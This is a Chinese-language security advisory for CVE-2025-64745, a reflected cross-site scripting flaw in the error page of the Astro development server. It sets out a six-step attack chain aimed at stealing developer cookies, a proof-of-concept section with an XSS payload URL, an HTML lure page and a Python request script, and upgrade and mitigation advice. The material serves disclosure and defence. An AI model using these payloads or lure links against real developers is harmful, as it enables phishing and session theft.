CVE-2025-64745 Astro开发服务器错误页面反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-64745

漏洞类型

反射型XSS

CVSS评分

2.7 低危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Astro

漏洞概述

CVE-2025-64745是Astro web框架中的一个反射型跨站脚本(XSS)漏洞。该漏洞影响Astro 5.2.0至5.15.5版本，当开发服务器启用trailingSlash配置选项时，错误页面会存在XSS风险。攻击者可以通过精心构造包含恶意JavaScript代码的URL，当受害者访问该URL时，恶意脚本会在其浏览器上下文中执行。虽然此漏洞仅影响开发服务器而不会影响生产构建，但攻击者仍可利用此漏洞通过社会工程学手段或恶意链接来攻击开发人员的本地环境，窃取敏感信息或执行未授权操作。漏洞已于Astro 5.15.6版本中修复，建议所有使用受影响版本的用户尽快升级。

技术细节

该漏洞根源于Astro开发服务器错误页面模板中对用户输入的处理不当。当Astro配置中启用trailingSlash选项时，服务器会将URL路径中的某些参数未经过滤直接反射到错误页面HTML中。攻击者可以在URL中注入恶意JavaScript代码（如<script>alert(document.cookie)</script>），由于服务器未对输出内容进行适当的HTML编码或转义处理，导致注入的脚本被浏览器解析执行。此漏洞的技术细节位于Astro源码packages/astro/src/template/4xx.ts文件的第133-149行。攻击成功的关键条件包括：目标用户需使用受影响的Astro版本、开发者服务器必须启用trailingSlash配置、攻击者需诱导用户访问特制的恶意链接。由于漏洞位于开发服务器的错误页面，生产环境默认不受影响，但仍建议升级以确保开发环境安全。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标使用Astro框架开发服务器，并确认版本在5.2.0-5.15.5范围内，且trailingSlash配置已启用

STEP 2

步骤2: 构造恶意URL

攻击者精心构造包含XSS payload的URL，例如http://target:4321/<script>alert(document.cookie)</script>

STEP 3

步骤3: 社会工程攻击

通过钓鱼邮件、即时通讯或其他渠道诱导目标开发者点击恶意链接

STEP 4

步骤4: 触发漏洞

受害者访问恶意URL后，开发服务器错误页面将未过滤的payload反射回浏览器

STEP 5

步骤5: 脚本执行

受害者浏览器解析HTML时执行注入的JavaScript代码，攻击者可窃取Cookie、会话令牌等敏感信息

STEP 6

步骤6: 环境渗透

攻击者利用窃取的凭证进一步渗透开发环境，获取源代码或项目敏感配置

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-64745 PoC: Reflected XSS in Astro development server -->
<!-- When trailingSlash config is enabled, inject XSS payload in URL -->

<!-- Example malicious URL -->
<!-- http://localhost:4321/<script>alert(document.cookie)</script> -->

<!-- HTML PoC (to be served via social engineering) -->
<html>
<body>
<h2>CVE-2025-64745 PoC</h2>
<p>Click the link below to trigger the XSS vulnerability:</p>
<a href="http://localhost:4321/%3Cscript%3Ealert(document.cookie)%3C/script%3E" target="_blank">
  Click me (Malicious Link)
</a>
<p>Or visit directly: http://localhost:4321/<script>alert('XSS')</script></p>
</body>
</html>

<!-- Python PoC script -->
import requests

target = "http://localhost:4321"
xss_payload = "<script>alert(document.cookie)</script>"
malicious_url = f"{target}/{xss_payload}"

print(f"[*] Sending malicious request to: {malicious_url}")
response = requests.get(malicious_url)
print(f"[*] Response status: {response.status_code}")
print(f"[*] XSS payload reflected in response: {xss_payload in response.text}")

影响范围

Astro >= 5.2.0, < 5.15.6

防御指南

临时缓解措施

临时缓解措施：在Astro配置文件astro.config.mjs中暂时禁用trailingSlash选项，或使用Web应用防火墙(WAF)过滤恶意请求模式。同时避免点击来源不明的链接，保持开发环境网络隔离。建议尽快升级到Astro 5.15.6及以上版本以彻底修复此漏洞。